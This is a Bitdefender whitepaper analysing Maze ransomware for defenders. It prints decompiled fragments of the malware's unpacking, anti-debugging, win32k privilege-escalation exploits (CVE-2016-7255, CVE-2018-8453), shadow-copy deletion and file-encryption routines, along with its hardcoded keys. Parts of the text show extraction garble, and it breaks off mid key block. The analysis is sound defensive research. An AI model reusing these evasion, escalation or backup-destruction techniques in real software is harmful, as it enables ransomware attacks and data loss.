WHITEPAPER

Bitdefender

 \mathbf{O}

Security

A Technical Look into Maze Ransomware

EXPOSING SHADY TECHNIQUES THAT ALLOW IT TO PERFORM OBFUSCATION, EVASION AND EXPLOITATION

www.bitdefender.com

 \odot

Contents

Foreword	3
Jnpacking	3
First stage	3
Second stage	4
Third stage	5
mports deobfuscation	6
Code-flow deobfuscation	7
Evasion techniques	9
Privilege escalation	9
Exploiting CVE-2016-7255	9
Exploiting CVE-2018-8453 12	2
Ransomware activity	4
Backup deletion	5
File scanning1	5
File encryption1	7
Encryption keys	8
Key persistence	0
Network connections2	1
ndicators of compromise22	2
References	2
Nhy Bitdefender	4

+

+

 \times

+

\times

+

+

+ +

Foreword

B

At the end of May 2019, a new family of ransomware called Maze emerged into the gaping void left by the demise of the GandCrab ransomware.

Unlike run-of-the-mill commercial ransomware, Maze authors implemented a data theft mechanism to exfiltrate information from compromised systems. This information is used as leverage for payment and to transform an operational issue into a data breach.

In November 2019, the Bitdefender Active Threat Control team spotted spikes in reports of the 'random' process name being blocked from escalating privileges, by the Bitdefender Anti-Exploit module. We were curious about the executable, and how it tried to achieve System privileges.

Further investigation revealed that the process belongs to the Maze/ChaCha ransomware, so we took a deeper look. In this article, we attempt to shed some light on how it performs evasion and obfuscation, as well as the exploits used and its ransomware behavior.

Unpacking

First stage

The sample we are looking at is e69a8eb94f65480980deaf1ff5a431a6, a 500KB, 32-bit PE executable, originally dropped as a random-name file in the low-privilege folder:

C:\Users\(username)\AppData\LocalLow\PJhUjWGD.tmp

As we load it in <u>IDA Disassembler</u>, we see a lot of data (yellow) and less code (blue) in the navigator bar. From this, we can tell some unpacking of that data will take place.

Following the WinMain function, we see an unorthodox way of calling another function, by using the CreateTimerQueueTimer API, to evade detection. While this timer function is quite obscure, we have seen it before, in Emotet and Hancitor malicious macro code. The following decompiled code shows how the function is imported here and abused, to execute target_function:

```
hModule = GetModuleHandleW(L"kernel32.dll");
if ( !hModule )
   return 0;
strcpy(ProcName, "CreateTimerQueueTimer");
CreateTimerQueueTimer = GetProcAddress(hModule, ProcName);
if ( CreateTimerQueueTimer )
```



result = CreateTimerQueueTimer(a1, a2, target_function, a4, a5, a6, a7);

The mentioned target_function contains the decryption code for the trailing data, as shown below:

```
nullsub();
CryptSetKey(ctx, aYouareKey, 128u, 128);
CryptSetIV(ctx, aYouareIV);
DecryptBytes(1, ctx, byte_4202D0, allocatedMemory, 0x11E0u);
v4 = (int *)((char *)allocatedMemory + 0x11E0);
nullsub();
CryptSetKey(ctx, aYouareKey, 128u, 128);
CryptSetIV(ctx, aYouareIV);
DecryptBytes(1, ctx, byte_4214B0, v4, 0x59E00u);
LOBYTE(v8) = 1;
ret = CreateThread(0, 0, allocatedMemory, lpParameter, 0, 0);
```

A total of 370 KB of shellcode are decrypted using the <u>HC-128</u> algorithm, with fixed key and initialization vector. The shellcode is then executed as a new thread, in the second stage.

Second stage

In the second stage, the large shellcode is executed. IDA recognizes a little code at the beginning, while the rest is marked as data, which means more unpacking is expected.

The first thing the shellcode does is to import two functions: LoadLibraryA and GetProcAddress, using name hashing:

100001C	mov	<pre>eax, [ebp+var_kernel32]</pre>
100001F	mov	[esp], eax
10000022	mov	<pre>[esp+38h+var_34], 7C0DFCAAh ; "GetProcAddress"</pre>
100002A	call	ImportByHash
100002F	sub	esp, 8
1000032	mov	[ebp+var_GetProcAddress], eax
1000035	mov	<pre>eax, [ebp+var_kernel32]</pre>
1000038	mov	[esp], eax
100003B	mov	<pre>[esp+38h+var_34], 0EC0E4E8Eh ; "LoadLibraryA"</pre>
1000043	call	ImportByHash
1000048	sub	esp, 8
1000004B	mov	[ebp+var_LoadLibraryA], eax

Using these two primitives (LoadLibraryA and GetProcAddress), the shellcode imports a few other functions used later: IsBadReadPtr, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, ExitThread.

These functions are used to perform a <u>reflective DLL loading</u>, using the large chunk of data after the shellcode. A module loaded this way will not appear in OS structures, meaning it will be **hidden** from process module list.

10000143	call	\$+5	
10000148	mov	esi,	esp
1000014A	mov	eax,	[esi]
1000014C	sub	eax,	1D1148h

10000152	add	eax,	1D2	1E0h	;	eax	=	100011E0,	Embedded_DLL
10000158	рор	ecx							
10000159	mov	[esp+	⊦4] ,	eax					
1000015D	call	Load_	Emb	edded_	DLL				
• • •									
100011E0	Embedded	d_DLL	db	'M'					
100011E1			db	'Z′					
100011E2			db	90h					
100011E3			db	0					
100011E4			db	3					
100011E5			db	0					

Third stage

In the third stage, the main functionality of the ransomware relies on the hidden DLL loaded by the shellcode at second stage. The code is highly obfuscated, with a few tricks to make reverse engineering harder.

First, the address of the kernel32.dll string is put on the stack using a call loc_10021ADF instead of doing push 10021AD2. While the result at runtime is the same, disassemblers will try to interpret the respective string as code and fail to find the correct continuation.

10021AC3	push	4F6h					
10021AC8	push	359D02F0h					
10021ACD	call	loc_10021ADF					
							_
10021AD2	db 'ker	nel32.dll′,0	; da	ata	between	instruction	5
							-
10021ADF	push	offset loc 10021B4D					

Second, another trick is used using jz/jnz pair of instructions. Depending on the value of the Zero flag, the execution will follow the first or second branch, so there is a guaranteed jump either way. However, disassemblers do not perfectly emulate the execution, and missing the fact that instructions are unreachable, will continue disassembling garbage code (at 10021AEC), often invalid instructions, or missing the start offset of legit instructions later:

10021AE4	jz	loc_10001520	
10021AEA	jnz	short loc_10021AF0	
10021AEC	rol	byte ptr [ecx], 0	; garbage/invalid code
10021AEF	db	0	
10021AF0	jnz	short loc_10021AFC	; unreachable jump
10021AF2	jz	short loc_10021AF8	
10021AF5 10021AF7 10021AF8 10021AFA 10021AFB	sbb db xor db db	al, [eax] 0 eax, [ecx] 0	; garbage/invalid code
10021AFC	jnz	loc 10001520	



Some jz are decoy, when reached from a jnz branch. The jump at 10021AF2 will never be executed, because the Zero flag is guaranteed to be unset, as we have arrived there through a jnz from 1021AEA. So the jz/jnz target is one and the same: loc_10001520 which, we will see, is a dynamic import utility function.

Because of these tricks, the file is poorly disassembled, and the IDA bar shows very little code (blue), a lot of unresolved opcodes (gray) and data (yellow):

Imports deobfuscation

Before proceeding with deobfuscating instructions, we must take care of imports. Most static imports of this DLL are used by garbage code, so they are unused imports. The relevant imports are dynamic, obtained at runtime using the "name hashing" method. The hash on import name is passed as two xor-ed parameters to the import function, along with module name:

10021AC3	push	4F6h	; xor key
10021AC8	push	359D02F0h	; xored hash of 'CreateThread'
10021ACD	call	loc_10021ADF	; push address of 'kernel32.dll'
10021AD2	db 'kerı	nel32.dll′,0	
10021ADF	push	offset loc_100	021B4D ; return target after call
10021AE4	jmp	ImportByHash	; call ImportByHash utility

The module name is passed using "call over the string" method, which breaks IDA code-flow tracking. Also push/jmp is used instead of call. If we remove these tricks, the above code is equivalent to the following:

10021AC3	push	4F6h	; xor key
10021AC8	push	359D02F0h	; xored hash of 'CreateThread'
10021ACD	push	"kernel32.dll"	
10021AD2	call	ImportByHash	; import function by hash
			; returns CreateThread in eax
10021AD8	jmp	loc_10021B4D	; return target after call

We know the imported functions, so we can replace the dynamic imports with static ones, then jump directly to continuation:

10021AC3	mov	eax, CreateThread
10021AC8	jmp	loc 10021B4D

To find the imported functions by hash, we created a new executable that loads this DLL, and calls the import function at 10001520 each time, for all hashes gathered from scanning the DLL for the push/push/ call-over-string pattern.

Having a list of all import names, we added them as static imports in a new imports section. This way we can access them directly. Finally, our IDA extension replaced the pattern with the equivalent mov eax, [import] and jmp continuation instructions.

Code-flow deobfuscation

For IDA to correctly disassemble and decompile the malware code, we need to revert the control-flow obfuscation, so that there are no invalid or garbage instructions. To do that, we need to replace all occurrences of jz/jnz pair with jz/jmp instead. Making the second jump absolute will help IDA follow the correct code flow, and the unreachable garbage opcodes will not be disassembled.

We can try fixing the jump issue using Python or IDC scripting capabilities offered by IDA. Searching for the jump opcodes could be performed with the following script:

```
for addr in range(addr_start, addr_end):
    bytes = bytearray(get_bytes(addr, 10))
    if bytes[0:2] == bytearray((0x0F,0x84)) and bytes[6:8] == bytearray((0x0F,0x85)):
        print('Fixing long/long jz/jnz trick at %X' % addr)
        patch_byte(addr+6, 0x90)  # padding
        patch byte(addr+7, 0xE9)  # unconditional JMP
```

This works well for jz/jnz combos where both jumps are long (5+5 bytes), or there is one long and one short (5+2 bytes). But when both jumps are short (2+2 bytes, opcodes 74 xx 75 xx), this pattern is too weak and may match in the middle of other instructions, or even data, for example:

10039538		db	74h	;	t	;	no	jz/jnz	here
10039539		db	0						
1003953A	unk_1003953A	db	75h	;	u				
1003953B		db	70h	;	р				
1003953C		db	64h	;	d				
1003953D		db	61h	;	а				
1003953E		db	74h	;	t				
1003953F		db	65h	;	е				
10039540		db	0						

Here at 10039538 we can see a sequence of 74 xx 75 xx which is not a jz/jnz combo, but part of some strings (signout, update). Obviously, we don't want to replace these cases, so we must find another solution.

Simply using IDA scripts does not seem to be enough, as we want to make replacements only at addresses where IDA reaches with disassembling. This applies only to addresses reached by its emulation (following jumps, calls, etc).

Inspired by <u>Rolf Rolles' article</u>, we decided to write an IDA processor module extension, which would supply us with a callback at every address IDA tries to disassemble.



check other jz/jnz combos...

Here, the ev_ana_insn method of our class derived from idaapi.IDP_Hooks is called by IDA before evaluating every instruction, so we look for various jz/jnz combinations and replace second jump with an absolute one. This gives us a bit more visibility, in the sense that IDA will correctly follow jumps, and know where to disassemble next.

Another trick is impeding IDA from recognizing end of functions and correctly calculate stack variable offsets. Some ret instructions are replaced with equivalent (add esp, 4 then jmp [esp-4]) and stack operations are replaced by increments/decrements, which are not tracked by IDA stack variable offset calculator:

10002EC8	inc	eax			
10002EC9	jnz	short loc_10002EC	0		
10002ECB	mov	eax, ecx			
10002ECD	inc	esp	;		
10002ECE	inc	esp	;		
10002ECF	inc	esp	;	equivalent to	RET
10002ED0	inc	esp	;		
10002ED1	jmp	dword ptr [esp-4]	;		

In this case, our IDA extension will replace the commented instructions with a ret. This way the function will be correctly recognized, and work with stack offsets will be identified as work with local variables, denoted as var_xx.

In another trick, there's push address then jmp function, which is actually a call function then jmp address. Without the call instruction, IDA does not mark that respective address as a function. Also, if that's an import, a comment will not be added:

10021B4D	push	offset l	loc_10021B68	; e	equivale	ent 1	to CA	ALL EAX
10021B52	jmp	eax		;	and	JMP	loc_	10021B68

When eax is a dynamic import that we replaced with equivalent code (described in the previous chapter), IDA will correctly follow the eax value and recognize the call to import. The CreateThread comment is automatically set by IDA:

10021B4D	call	eax ;	CreateThread
10021B4F	jmp	short	loc_10021B68

Also, decompilation is now working correctly, with the CreateThread import used directly, and parameters identified:

```
if ( fdwReason == 1 )
{
    hInstance = hinstDLL;
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_10036FD0, 0, 0, 0);
}
```

Decompilation is helpful when dealing with <u>spaghetti code</u>, as scattered chunks of code are reunited into continuous blocks of C-like source.

Fixing the code-flow obfuscation tricks enabled decompilation and, as a result, we have obtained high-level visibility. After a few more tweaks, the IDA navigator bar shows complete recognition of code, with blue. The rest is data, used later, as detailed in the next chapter.

Evasion techniques

Some initial checks are performed before moving forward. Analysis tools are identified by their <u>ADLER-32</u> checksum on process name, and the following are terminated, if running:

ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, procmon.exe, procexp.exe, procmon64.exe, procexp64.exe

Also, an important function is disabled, namely DbgUiRemoteBreakin, which is necessary for debugging the process. After the function is located, it is patched with a single RET instruction:

```
// locate DbgUiRemoteBreakin in ntdll
ntdll = GetModuleHandleA(aNtdllDll);
funcDbgUiRemoteBreakin = j GetProcAddress(ntdll, ProcName);
if (funcDbgUiRemoteBreakin)
{
    // remove page protection
    address = funcDbgUiRemoteBreakin;
    flNewProtect = 0;
    if (j VirtualProtect(funcDbgUiRemoteBreakin, 1u, PAGE EXECUTE READWRITE,
&flNewProtect))
    {
        // patch with RET
        *address = 0xC3;
        // restore protection
        j VirtualProtect(address, 1u, flNewProtect, &flOldProtect);
    }
}
```

Privilege escalation

Addressing our original curiosity about privilege escalation alerts, we found two exploits stored encrypted in the data section, unpacked and executed at runtime.

Exploiting CVE-2016-7255

The first exploit we found targets the <u>CVE-2016-7255</u> vulnerability in win32k.sys. The vulnerability was <u>described in detail</u> by TrendMicro, then a <u>patch analysis</u> was made by researchers at McAffee.

The exploit comes as a DLL image, encrypted using fixed-key, 8-round <u>ChaCha</u> algorithm, then mapped using <u>reflection</u>. There are two versions of the DLL, one for 32-bit, one for 64-bit platforms. After the DLL is mapped, the single exported name EP is obtained. After the function is called, the privilege level is checked, as we can see in the decompiled code:

```
encryptedPayload = &addr_encryptedDll_x86;
```

```
B
```

```
if (*(DWORD *)(a2 + 0x28) == 64)
                                         // check OS platform
    encryptedPayload = &addr encryptedDll wow64;
payloadLength = ((*(_DWORD *)(a2 + 0x28) == 64) << 11) | 0x2400;
this[2] = payloadLength;
                                          // x86:2400, wow64:2C00
this[1] = AllocateRWmem(payloadLength);
ChaCha8 Transform(v3, (int)encryptedPayload);
module = MapDllByReflection(( WORD *)v3[1]);
PrivescFunc = (void(*)(void))GetExportedFunction((int)module, "EP");
if (PrivEscFunc)
{
    PrivEscFunc(); // raise privileges
    j Sleep(2000u);
    oldIntegrityLevel = *(_DWORD *)(a2 + 4);
    newIntegrityLevel = GetProcessIntegrityLevel(); // check privileges
    *( DWORD *)(a2 + 4) = newIntegrityLevel;
    isElevated = newIntegrityLevel != oldIntegrityLevel;
}
```

We will have a look on the DLL for 64-bit platforms. It is actually a 32-bit image, targeting the <u>WoW64</u> subsystem. The 32-bit code goes to 64-bit mode to execute system calls. This is done with the <u>Heaven's</u> <u>Gate</u> method, changing the code segment to 0x33, using the RETF instruction. Going back to 32-bit is done using the 0x23 segment instead. This way, direct <u>system calls</u> can be executed, from WoW64 code:

```
10002385 ; int stdcall perform syscall(int, int, int, int, int)
10002385 perform_syscall proc near
[...]
10002394 push
                33h
                                     ; cs=33 for 64-bit
                $+5
10002396 call
                                     ; push continuation address
1000239B add
                dword ptr [esp], 5
                                     ; add delta
1000239F retf
                                    ; switch to 64-bit mode
_____
100023A0 xor
               r9d, r9d
                                     ; 64-bit code starts
100023A3
               eax, [rbp+arg 1C]
         mov
100023A7
         xor
               rcx, rcx
100023AA
               ecx, [rbp+arg_20] ; pass arguments
         mov
100023AE
               r10, rcx
         mov
100023B1
               rdx, rdx
         xor
100023B4
         mov
               edx, [rbp+arg 24]
100023B8
         mov
                r8, [rbp+arg 28]
100023BD
                rsp, 100h
         sub
100023C4
                                     ; <-- syscall, eax=func_id
         syscall
100023C6
         add
               rsp, 100h
100023CD
         call
                $+5
100023D2
         mov
                [rsp+8+var_4], 23h
                                     ; cs=23 for 32-bit
100023DA
         add
               [rsp+8+var 8], ODh
100023DE
        retf
                                     ; switch to 32-bit mode
_____
100023DF
                                     ; back to 32-bit mode
         xor
                eax, eax
[...]
100023E7 retn
                14h
```

This method is used to perform NtUserSetWindowLongPtr system calls, which are necessary for exploitation.

B

Another function needed for exploitation is HMValidateHandle, which is an internal function of user32. dll, not publicly exported, that leaks kernel information. To locate this function, the exploit follows a reference to it, from the IsMenu export:

```
// get address of IsMenu export
user32 module = LoadLibraryA("USER32.dll");
IsMenu = GetProcAddress(user32_module, "IsMenu");
offset = 0;
// scan function body
while (1)
{
    // check for "mov dl, 2"
    if ( *( WORD *)((char *)IsMenu + offset) == 0x2B2 )
    {
        offset += 2;
        // check for "call HMValidateHandle"
        if ( *((_BYTE *)IsMenu + offset) == 0xE8 )
            break; // found
    }
    if ( (unsigned int)++offset >= 0x30 )
    {
        v3 = HMValidateHandle; // not found
        goto LABEL_7;
    }
}
// compute target of call
v4 = offset + *(_DWORD *)((char *)IsMenu + offset + 1);
v3 = (FARPROC)((char *)IsMenu + v4 + 5);
// save address of HMValidateHandle
HMValidateHandle = (FARPROC)((char *)IsMenu + v4 + 5);
```

As part of exploitation, we can see the WS_CHILD style being applied to the created window, then NtUserSetWindowLongPtr system call being made, with the GWLP_ID parameter. Next, VK_MENU keyboard events are being simulated, which will trigger the corruption in xxxNextWindow. This confirms the exploit is targeting the <u>CVE-2016-7255</u> vulnerability:

```
style = GetWindowLongW(::hwnd, GWL_STYLE);
SetWindowLongW(::hwnd, GWL_STYLE, style | WS_CHILD);
perform_syscall(id_NtUserSetWindowLongPtr, (int)::hwnd, GWLP_ID, v21, SHIDWORD(v21));
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 2u, 0);
```

After obtaining kernel read/write primitive, the actual elevation is obtained by replacing the current process token with the system process token in the <u>EPROCESS</u> kernel structure:

```
// enumerate EPROCESS structures, find system process
do {
    v8 = dword_100040CC;
    v9 = ReadFromKernel(__PAIR64__(v3, v4) + (unsigned int)dword_100040CC);
    v3 = (v9 - (unsigned int)v8) >> 32;
    v4 = v9 - v8;
}
```

```
while ( (unsigned int)ReadFromKernel(v9 - 8) != 4 ); // PID=4, system
// read system process token
v10 = ReadFromKernel(__PAIR64__(v3, v4) + (unsigned int)dword_100040D0);
v11 = v10;
v12 = (v10 & 0xFFFFFF0) - 48;
v13 = __CFADD__(v10 & 0xFFFFFF0, -48) + HIDWORD(v10) - 1;
HIDWORD(v16) = __CFADD__(v10 & 0xFFFFFF0, -48) + HIDWORD(v10) - 1;
LODWORD(v16) = (v10 & 0xFFFFFF0) - 48;
v14 = ReadFromKernel(v16);
// write system token to current process
WriteToKernel(__SPAIR64__(v13, v12), v14 + 10, (v14 + 10) >> 32);
WriteToKernel(v18, v11, SHIDWORD(v11));
```

Exploiting CVE-2018-8453

The second exploit is a newer privilege escalation exploit targeting the <u>CVE-2018-8453</u> vulnerability in win32k.sys. The vulnerability has been <u>described</u> by Kaspersky, patch analysis was made by 360A-TEAM in their <u>article</u>, and was also analyzed by QiAnXin TI Center in their <u>write-up</u>.

Stored in the data section, the exploit shellcode is decrypted using the same key and <u>ChaCha8</u> algorithm as the other exploit, then executed with the target process id as parameter:

```
if (j GetVersionExA(&ver) &&
   ver.dwMajorVersion != 10 &&
                                                           // no windows 10
    (ver.dwMajorVersion != 6 || ver.dwMinorVersion != 2)) // no windows 8
{
    // set shellcode size
   this[2] = 0x9600;
    // allocate RWX memory for shellcode
    shellcode addr = VirtualAlloc(0, 0x9600u, MEM RESERVE MEM COMMIT, PAGE
EXECUTE READWRITE);
   this[1] = (int)shellcode_addr;
    if ( shellcode addr )
    {
        // decrypt shellcode
        ChaCha8_SetKey(ctx, "37432154789765254678988765432123", 256);
        ChaCha8 SetNonce(ctx, "09873245");
        j_ChaCha8_Decrypt((int)ctx, (int)&EncryptedShellcode, this[1],
this[2]);
        shellcode func = (int ( stdcall *)(DWORD))this[1];
        // get process ID
        pid = j GetCurrentProcessId();
        // call shellcode function with PID
        result = shellcode func(pid);
        // [...]
    }
}
```

The shellcode targets both 32-bit and 64-bit OS platforms. The shellcode is 32-bit, but when running in <u>WoW64</u> subsystem, it employs the same <u>Heaven's Gate</u> technique to execute 64-bit code, when necessary:

Bitdefender Whitepaper A Technical Look into Maze Ransomware

01005E01 01005E06	push call	0CB0033h 01005E04	;;	<pre>push cs=33 on stack, 64-bit selector push next address, jmp to RETF (CB)</pre>
01005E04	retf		;	switch to 64-bit mode at 10005E0B
01005E0B	push	r13	;	64-bit code below
01005E0D	mov	r13, rsp		
01005E10	mov	<pre>rax, gs:30h</pre>		
01005E19	mov	<pre>rsp, [rax+8]</pre>	I	
[]				
01005EB1	mov	rsp, r13		
01005EB4	рор	r13		
01005EB6	retf		;	switch back to 32-bit mode

Depending on the Windows version and platform, system calls are achieved in three different ways:

01006811	mov	<pre>ecx, ds:winver_index</pre>	; check stored Windows variant index
01006817	cmp	ecx, 10h	
0100681A	jnb	short loc_100682F	
0100681C	mov	edx, 7FFE0300h	; fixed address of KiFastSystemCall
01006821	cmp	ecx, 2	
01006824	jb	short loc_100682B	
01006826	cmp	ecx, 4	
01006829	jnz	short loc_100682D	
loc_100682B:	:		
0100682B	jmp	edx	; use fixed address of KiFastSystemCall
loc_100682D:	:		
0100682D	jmp	dword ptr [edx]	; use provided address of KiFastSystemCall
loc_100682F:	:		
0100682F	mov	edx, esp	; perform syscall directly
01006831	sysenter	c	
01006833	retn		

To perform the exploit, the following functions are hooked, by patching the KernelCallbackTable:

- __ClientLoadLibrary
- __ClientCallWinEventProc
- __fnHkINDWORD
- _fnDWORD
- __fnNCDESTROY
- __fnINLPCREATESTRUCT

Inside the ___fnDWORD hook, we can see a WM_SYSCOMMAND message being sent to the ScrollBar control, then the parent window is destroyed:

```
DWORD __stdcall Hook__fnDWORD(int msg)
{
    ...
    if ( v1 == WM_FINALDESTROY )
    {
```

```
v4 = vars[62];
*((_BYTE *)vars + 332) = 2;
NtUserSetActiveWindow(v4);
SendMessageA((HWND)vars[62], WM_SYSCOMMAND, SC_KEYMENU, 0);
NtUserDestroyWindow(vars[64]);
*((_BYTE *)vars + 332) = 4;
}
....
```

Destroying the main window leads to ___fnNCDESTROY callback, where the SetWindowFNID system call is used to replace the FNID of that window from FNID_FREED to a valid value (FNID_BUTTON), resulting in a double-free:

```
_WORD *__stdcall Hook__fnNCDESTROY(_DWORD **a1)
{
    ...
    if ( v8 == *(v4 + 0x104) && *result == FNID_FREED && !*(v4 + 0x144) )
    {
        result = syscall_SetWindowFNID (*(v4 + 0xF4), FNID_BUTTON);
        *(_DWORD *)(v4 + 0x144) = result;
        v1 = 1;
    }
    ...
}
```

This confirms that this exploit targets the <u>CVE-2018-8453</u> vulnerability, and eventually obtains SYSTEM privileges for the running process.

Ransomware activity

Once elevated privileges are obtained, the ransomware activity is performed without access rights limitations.

At startup, a <u>Mutex</u> object is created to avoid running multiple instances at the same time. The mutex object name is Global\%s, where %s is hex hash on the computer <u>fingerprint</u>.

The fingerprint string is built using the following encoded features:

- Current user name
- Computer name
- · Windows product name
- · Process integrity level
- Installed Anti-Virus name
- <u>Machine role</u>
- Number of drives
- · Connected shared folders

- User language
- System language
- System uptime

Backup deletion

Before enumerating files, any existing Windows backups are destroyed, namely the <u>Volume Shadow Copies</u>. This is done using the <u>Windows Management Infrastructure</u>:

```
// find shadow copies using WMI
if (CoSetProxyBlanket((IUnknown *)pSvc, 0xAu, 0, 0, 3u, 3u, 0, 0) >= 0 &&
    (pEnum = 0, pSvc->lpVtbl->ExecQuery(pSvc, aWql,
        "select * from Win32_ShadowCopy", 48, 0, &pEnum) >= 0))
{
    // enumerate found shadow copies
    uRet = 0;
    pEnum->lpVtbl->Next(pEnum, WBEM INFINITE, 1, &pClsObj, &uRet);
    do {
        . . .
        objectPath = (OLECHAR *)AllocateRWmem(v7);
        wsprintfW(objectPath, "Win32_ShadowCopy.ID='%s'", lpID);
        // delete shadow copy
        v9 = pSvc->lpVtbl->DeleteInstance(pSvc, objectPath, 0, pContext, 0);
        // go to next item
        uRet = 0;
        pEnum->lpVtbl->Next(pEnum, -1, 1, &pClsObj, &uRet);
        . . .
    }
    while (uRet);
}
```

File scanning

All drives are searched for files to encrypt, including connected network <u>shared folders</u>. The encrypted file names have a new, random extension. The following file names and types are excluded from encryption:

- *.lnk
- *.exe
- *.sys
- *.dll
- autorun.inf
- boot.ini
- desktop.ini
- ntuser.dat
- iconcache.db

A Technical Look into Maze Ransomware



- bootsect.bak
- ntuser.dat.log
- thumbs.db
- Bootfont.bin

All other files are encrypted, with random extensions in the same folder:



Folders containing certain words in their names will undergo additional processing, probably accessed later for <u>data</u> <u>exfiltration</u>:

- sql
- classified
- secret

After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware message:

Maze Ransomware	
Dear <user> , your files have been encrypted by RSA-2048 and ChaCha algorithms The only way to restore them is to buy decryptor</user>	
These algorithms are one of the strongest. You can read about them at wikipedia.	
If you understand the importance of situation you can restore all files by following instructions in DECRYPT-FILES bt file	
You can decrypt 3 files for free as a proof of work We know that this computer is very valuable for you So we will give you appropriate price for recovering	

File encryption

Encrypted files have a 4-byte signature at the end of file, containing hex bytes 66 11 61 66, in order to mark the files as already processed.

Before content encryption, a session key is generated for each file, using PRNG output from Microsoft Crypto API:

```
// open file
hFile = j_CreateFileW(lpFileName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, 0,
CREATE ALWAYS | CREATE NEW, 0, 0);
fileObj->handle = hFile;
if ( hFile != (HANDLE)INVALID_HANDLE_VALUE
     // check if already encrypted
  && !IsAlreadyEncrypted(fileObj)
  && (fileObj[1].buffer = 0,
      key = (BYTE *)fileObj->key and nonce,
      provider = fileObj->obj 47720->vtable->MsCryptoGetProv(fileObj->obj 47720),
      // generate 256-bit key
      j_CryptGenRandom(provider, 32u, key))
  && (nonce = (BYTE *)fileObj->key and nonce + 32,
      prov = fileObj->obj_47720->vtable->MsCryptoGetProv(fileObj->obj_47720),
      // generate 64-bit nonce
      j CryptGenRandom(prov, 8u, nonce)) )
{
  // encrypt using generated keys
  result = EncryptFile(fileObj);
}
```

The session key is then used to encrypt one file, using the <u>ChaCha</u> algorithm in 8 rounds:

```
// use generated key and nonce
ChaCha8_SetKeyAndNonce(fileObj->ctx, fileObj->k->key, 256, fileObj->k->nonce, 64);
[...]
// read 1MB at once
for ( i = j_ReadFile(v1->handle, v4, 0x100000u, &nNumberOfBytesToWrite[1], 0);
    !i || nNumberOfBytesToWrite[1];
    i = j_ReadFile(v1->handle, v4, 0x100000u, &nNumberOfBytesToWrite[1], 0) )
{
    // encrypt chunk
    ChaCha8_Transform(v1->ctx, (int)v4, nNumberOfBytesToWrite[1], (int)v5);
    liDistanceToMove.QuadPart = -(__int64)nNumberOfBytesToWrite[1];
    j_SetFilePointerEx(v1->handle, liDistanceToMove, 0, SEEK_CUR);
    // write chunk back to file
    j_WriteFile(v1->handle, v5, nNumberOfBytesToWrite[1], &NumberOfBytesWritten, 0);
}
```

Encryption keys

The key generation and file encryption looks like this:



The computer key is <u>RSA-2048</u>, generated at the initialization phase:

```
// initialize MS Crypto API
ret = j_CryptAcquireContextW(&phProv, 0, "Microsoft Enhanced Cryptographic Provider
v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
  if ( !ret )
    return 0;
hKey = 0;
// generate exportable RSA-2048 key
if ( j CryptGenKey(phProv, CALG RSA KEYX, KEY 2048 BITS|CRYPT EXPORTABLE, &hKey) )
{
  keyLen = 0;
  // get public key length
  if ( j_CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, 0, &keyLen) )
  {
    _keyLen = keyLen;
    OutPubKey[1] = keyLen;
    pubKey = (BYTE *)AllocateRWmem(_keyLen + 1);
    *OutPubKey = (DWORD)pubKey;
    // export public key
```

```
if ( j_CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, pubKey, &keyLen) )
{
    privLen = 0;
    // get private key length
    if ( j_CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, 0, &privLen) )
    {
        if ( privLen == 0x494 )
        {
            OutPrivKey[1] = 0x494;
            privKey = (BYTE *)AllocateRWmem(0x494u);
            *OutPrivKey = (DWORD)privKey;
            // export private key
            _ret = j_CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, privKey, &privLen);
[...]
```

The generated session keys are written towards the end of the processed file (starting at offset -264), encrypted with the computer key, using Microsoft Crypto provider <u>PROV_RSA_FULL</u>:

```
// copy session key to trailing data
 kn = (QWORD *)v1 -> key and nonce;
 trailing data[4] = kn[4];
 trailing data[3] = kn[3];
 trailing data[2] = kn[2];
 v3 = *kn;
 trailing_data[1] = kn[1];
 trailing data[0] = v3;
 // encrypt trailing data using Microsoft Crypto API
 if ( !v1->obj 47720->vtable->MsCryptEncrypt(
         (HCRYPTKEY *)v1->obj 47720,
          (BYTE *)trailing_data,
          (DWORD *)&forty,
         256,
         0,
         0))
   return 0;
 // write trailing data (encrypted keys) to the end of file
 j SetFilePointerEx(v1->handle, 0, 0, SEEK END);
 v7 = j WriteFile(v1->handle, trailing data, 264u, &NumberOfBytesWritten, 0);
The private computer key is then encrypted using a so-called "master" public key:
 PUBLICKEYSTRUC
 {
```

```
BYTE bType = PUBLICKEYBLOB;
BYTE bVersion = 2;
WORD reserved = 0;
ALG_ID aiKeyAlg = CALG_RSA_KEYX;
}
06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 BD 27 97 44
6A E3 05 38 56 BA D9 4A 87 94 4D D2 DE 89 71 96 54 D4 07 0B 13 B8 A4 BB
68 09 54 D9 D4 7B 6D 36 5A C0 54 9F 60 08 85 21 5B 05 9E 7E 7D 37 E7 E1
```

A Technical Look into Maze Ransomware

 94
 C7
 F6
 C8
 AC
 40
 72
 C0
 E6
 61
 2D
 5E
 11
 0B
 3D
 58
 17
 3E
 15
 3C
 11
 D9
 BF
 9D

 1E
 B0
 6B
 A0
 4A
 C5
 CE
 92
 D8
 9C
 18
 A3
 6A
 81
 A5
 B6
 C5
 AE
 85
 32
 52
 60
 8D
 36

 67
 6C
 23
 73
 8A
 DA
 D8
 F6
 16
 73
 FC
 02
 C0
 78
 3B
 2F
 1A
 A6
 AF
 6B
 74
 D2
 35
 10

 F8
 CA
 C2
 7C
 82
 07
 62
 68
 23
 A8
 99
 0C
 08
 B5
 CF
 B1
 D9
 EB
 15
 3B
 BF
 0C
 BC
 A0

 A4
 6B
 92
 BC
 6A
 A8
 CD
 A3
 41
 9E
 F0
 A7

Afterwards, the computer private key is destroyed. However, the encrypted form of the private key is saved, and dumped in DECRYPT-FILES.txt as a <u>Base64</u> block:

```
---BEGIN MAZE KEY---
24GFDOJs/fxp11F4kXLe7qtMhOvEOaHLNVt3Yv6IfVkVcbWxvZBSmVCw00buGYwux2efPZ
